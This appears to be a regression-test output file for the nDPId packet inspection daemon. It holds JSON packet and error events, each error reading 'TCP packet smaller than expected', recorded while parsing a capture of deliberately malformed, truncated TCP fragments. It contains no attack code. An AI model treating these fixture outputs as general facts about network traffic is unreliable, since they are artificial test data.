-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083457} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083469} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083481} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083493} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083519} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083531} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083544} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083556} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083567} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083579} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083603} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083618} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083630} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083642} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083661} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083674} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083685} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083711} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":6848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083723} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083735} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083747} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083772} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083785} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083811} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083824} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083837} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083849} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083862} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":6860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083875} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083887} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083900} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083912} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083924} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083936} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083990} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031083997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084005} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084013} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084022} 